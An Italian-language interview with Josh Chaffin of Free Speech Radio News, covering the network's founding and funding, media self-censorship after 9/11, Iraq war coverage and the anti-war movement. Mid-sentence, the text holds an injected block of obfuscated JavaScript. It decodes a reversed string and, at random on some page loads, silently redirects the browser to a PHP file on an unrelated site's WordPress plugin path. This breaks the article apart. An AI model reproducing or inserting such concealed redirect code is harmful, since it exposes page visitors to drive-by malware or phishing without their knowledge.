Il lusso della disinformazione

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Intervista a Josh Chaffin, giornalista di Free Speech Radio News, network indipendente che fa informazione libera direttamente dal “cuore dell’Impero”.
Come nasce e si alimenta, anche economicamente, l’esperienza di Free Speech?
Free Speech Radio News (FSRN) è nata nel 2000 da uno sciopero contro la direzione di Pacifica Radio Network che operava la censura sulle notizie. Da quel momento FSRN si è ingr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andita fino ad avere 200 giornalisti che lavorano da 40 stati USA e 57 paesi esteri. Abbiamo rapporti amichevoli con la nuova gestione di Pacifica Network e le trasmissioni vanno in onda in circa 60 stazioni negli Stati Uniti. Sia Pacifica che FSRN fanno riferimento a fondi provenienti dalle donazioni di singoli ascoltatori.Utilizziamo anche alcune risorse provenienti dal fondo governativo “Corporazione per le Trasmissioni Pubbliche”. Avrei preferito non accettare quel denaro, ma altri pensano sia importante che il governo finanzi delle voci indipendenti. Non prendiamo soldi dalle corporations, quindi non trasmettiamo pubblicità.
Cosa significa lavorare per un network indipendente nel “cuore dell’Impero”?
Washington DC può scoraggiare: vedi da vicino come i pagamenti delle grandi corporation ai politici abbiano un impatto ben maggiore sulle decisioni politiche di quanto ne abbia il singolo elettore. Vedi il lato “show-business” del governo. I giornalisti si comportano come pecore. Sto arrivando a credere che Washington stessa sia una colonia dell’Impero. Il governo federale sfrutta il lavoro di una vecchia, trascurata città afro-americana in cui i residenti non hanno diritto di voto per le elezioni al Congresso e pagano tasse per servizi che sono utilizzati principalmente dai bianchi che non vivono qui.
Qual è la situazione dell’informazione negli Stati Uniti dopo l’11 settembre e a proposito della guerra in Iraq?
C’è molta più autocensura rispetto al passato. Ho fatto un servizio su Donald Rumsfeld, Segretario alla Difesa, citando la storia di una sua visita a Baghdad negli anni ’80, durante la quale incontrò Saddam proprio mentre l’Iraq stava utilizzando i gas contro gli iraniani. Il giorno dopo la trasmissione un collega di un altro network ha appeso alla porta del nostro ufficio un biglietto con su scritto: “Basta menzogne!”. Dopo l’11 settembre forse alcuni americani sono più sensibili al problema dell’informazione. Col rafforzarsi dei media la competizione tra i canali di informazione è diminuita e un sempre più piccolo numero di network ripete acriticamente le dichiarazioni del governo. Molti, per esempio, sono convinti che gli attacchi dell’11 settembre siano legati a Saddam Hussein nonostante sia facilmente dimostrabile quanto sia falso. Ma il Presidente lo dice, i media lo riportano e la gente ci crede. Non si sono mai viste in TV immagini di comuni cittadini iracheni e così si è diffusa l’idea che l’Iraq sia una nazione di terroristi.
Che eco hanno avuto eventi come i Social Forum o le recenti manifestazioni contro la guerra in Iraq?
Il fenomeno Social Forum è quasi completamente sconosciuto negli Stati Uniti, anche tra i progressisti. Quest’anno, tornato da Porto Alegre, ho dovuto spiegare a molti di cosa si trattasse. Gli americani, nonostante abbiano accesso a più informazione rispetto al maggior parte degli altri esseri umani, sono orgogliosi di non sapere granché sul resto del mondo: è un lusso che pensano di potersi permettere. La copertura dell’informazione su eventi internazionali è aumentata dopo l’11 settembre, ma adesso è praticamente sparita.
Le recenti manifestazioni contro la guerra hanno avuto un impatto. Vedere così tanta gente opporsi alle politiche del loro presidente ha scioccato gli americani. Guardando la TV nei giorni successivi al 15 febbraio, mi sono sorpreso nel sentire colleghi dei grandi network riconoscere per la prima volta che l’opinione pubblica mondiale fosse a stragrande maggioranza contro Bush.
Siete legati al movimento statunitense contro la guerra in Iraq?
Come parte della “Pacifica family”, la politica editoriale di FSRN è contro la guerra : stiamo tentando di gettare luce su soluzioni creative al conflitto in Iraq, sul movimento popolare che vuole fermarlo, ma anche sulle miriadi di altre crisi esistenti al mondo e lasciate nell’ombra. Il Pacifica network trasmette un programma di nome “Peacewatch” focalizzato sulla questione Iraq. Per quello che so è l’unica trasmissione di questo genere negli Stati Uniti.

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